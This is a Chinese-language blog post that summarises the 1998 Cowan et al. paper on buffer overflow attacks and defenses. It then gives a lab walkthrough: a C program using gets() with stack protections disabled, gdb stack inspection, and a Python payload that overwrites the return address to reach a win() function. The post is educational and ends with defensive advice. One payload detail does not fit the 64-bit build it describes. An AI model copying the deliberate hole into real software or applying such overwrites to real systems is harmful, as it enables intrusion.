Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade
- 计算机安全
- 2025-05-16
- 40热度
- 0评论
总结性的原文
USENIX Security 1998
Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade
Crispin Cowan, Perry Wagle, Calton Pu, Steve Beattie, and Jonathan Walpole
[Buffer overflows: attacks and defenses for the vulnerability of the decade - Foundations of Intrusion Tolerant Systems, 2003 Organically Assured and Survivable Information Sy
对buffer overflow做了很好的总结:
The overall goal of a buffer overflow attack is to subvert the function of a privileged program so that the attacker can take control of that program, and if the pro gram is sufficiently privileged, thence control the host. Typically the attacker is attacking a root program, and immediately executes code similar to “exec(sh)” to get a root shell, but not always. To achieve this goal, the attacker must achieve two sub-goals:
- Arrange for suitable code to be available in the pro gram's address space.
- Get the program to jump to that code, with suitable parameters loaded into registers & memory.
🧠 攻击原理详解
攻击分为两个核心步骤:
如何让恶意代码出现在程序地址空间中:
- 注入代码(Inject it):直接将机器指令注入到程序缓冲区中,常见于栈、堆、静态区。
- 利用已有代码(Reuse existing code):跳转到已有的 libc 函数,如
exec("/bin/sh")
,只需构造参数并篡改跳转地址。
如何让程序跳转到攻击代码:
- 栈溢出(stack smashing):修改函数返回地址,函数退出时跳转到攻击者代码。
- 函数指针篡改:修改存储在堆或全局区的函数指针。
- longjmp 缓冲区篡改:修改
setjmp
保存的上下文,劫持longjmp
控制流。 - 其他变量修改:修改程序中影响逻辑的非指针变量(罕见但致命)。
攻击组合方式:
- 注入和控制流篡改可以一次完成(如经典
gets
漏洞),也可以分开完成(多步攻击)。 - Return-to-libc 和格式化字符串攻击常在防御措施生效后出现。Return-to-libc:Return-to-libc attack - Wikipedia
主要防御策略
论文详细评估了 4 种主要防御策略:
✅ 正确编程
- 理论上可避免漏洞,但在 C 中非常困难。
- 审计和工具如
grep
,Purify
,static analysis
有帮助,但无法完全防御。
🚫 3.2 非可执行栈(Non-executable stack)
- 阻止在栈上执行注入代码(如 Linux patch)。
- 局限性:不能防 Return-to-libc、函数指针劫持等攻击。
✅ 3.3 数组边界检查(Array bounds checking)
- 理论上最彻底,防止所有溢出。
- 代价高昂:性能严重下降,兼容性问题大,C语言难以完美支持。
✅ 3.4 指针完整性保护(Code Pointer Integrity)
- 检查关键指针是否被篡改,防止被使用。
- StackGuard:在返回地址旁边放置 canary 值,篡改即崩溃;
- PointGuard:对所有函数指针做类似的 canary 检查。
攻击方式 | StackGuard | Non-Exec Stack | PointGuard | Bounds Check |
---|---|---|---|---|
栈注入+返回地址修改 | ✅ | ✅ | ❌ | ✅ |
栈注入+函数指针 | ❌ | ✅ | ✅ | ✅ |
堆注入+函数指针 | ❌ | ❌ | ✅ | ✅ |
利用已有代码 | ❌ | ❌ | ✅ | ✅ |
改变普通变量 | ❌ | ❌ | 部分可防 | ✅ |
理论总结
-
单一方法无法完全防御所有缓冲区溢出攻击。
-
组合防御(StackGuard + Non-exec Stack + PointGuard) 提供了强有力的保护,同时保持兼容性和性能。
-
最早(如 Morris Worm)那类逻辑型攻击反而很难防御,但也很罕见。
-
缓冲区溢出攻击的本质是对内存布局和控制流的精确操作。
-
静态代码分析、编译器插桩、防御性编程和系统级防御应协同使用。
-
StackGuard 和 PointGuard 是非常实用的实际防御工具。
-
越是自动化、无侵入式的防御方法(如编译器增强),越具有推广潜力。
我们现在来一步步演示一个 Buffer Overflow 攻击的过程,包括:
- 编写易受攻击的 C 程序;
- 编译为可调试的 ELF 二进制;
- 使用
gdb
调试并观察栈溢出; - 构造一个溢出输入,覆盖返回地址。
⚠️ 学习目的:仅用于教育和研究。请勿在未授权的系统上进行尝试。
🧪 1. 编写易受攻击的代码:vuln.c
#include <stdio.h>
#include <string.h>
void win() {
printf("🎉 Congratulations! You've reached the win function!\n");
}
void vulnerable() {
char buffer[32];
printf("Enter input: ");
gets(buffer); // 易受攻击的函数
}
int main() {
vulnerable();
return 0;
}
这个程序中,gets(buffer)
允许用户无限制地写入数据,而 buffer
只有32字节,后面紧跟着返回地址。
⚙️ 2. 编译为可调试的二进制:
gcc -g -fno-stack-protector -z execstack -no-pie vuln.c -o vuln
参数解释:
-g
: 启用调试符号;-fno-stack-protector
: 关闭栈保护;-z execstack
: 允许执行栈;-no-pie
: 关闭地址随机化(ASLR的一部分);
🔎 3. 用 gdb
调试分析栈布局
gdb ./vuln
在 gdb
中输入:
break vulnerable
run
当断在 vulnerable()
时:
info frame
x/40x $rsp
你会看到堆栈中的地址。我们可以估算出 buffer
到返回地址之间的偏移(比如 40 字节),然后构造 payload 来覆盖。
🧨 4. 构造攻击输入覆盖返回地址
假设 win()
函数的地址是 0x080491e2
(在 gdb 中输入 p win
获取地址)。
我们可以用 Python 构造 payload:
payload = b"A" * 40 # 填满 buffer + 填充到返回地址
payload += b"\xe2\x91\x04\x08" # win() 的地址(小端序)
with open("payload.txt", "wb") as f:
f.write(payload)
然后运行程序并将 payload 作为输入:
./vuln < payload.txt
输出应该是:
🎉 Congratulations! You've reached the win function!
🔐 防御建议(再强调一次):
- 避免使用
gets()
,使用fgets()
; - 开启编译器安全选项(Stack Protector、ASLR 等);
- 使用现代语言如 Rust、Go 开发关键系统,自动内存安全;
- 对输入进行边界检查,永远不要信任用户输入。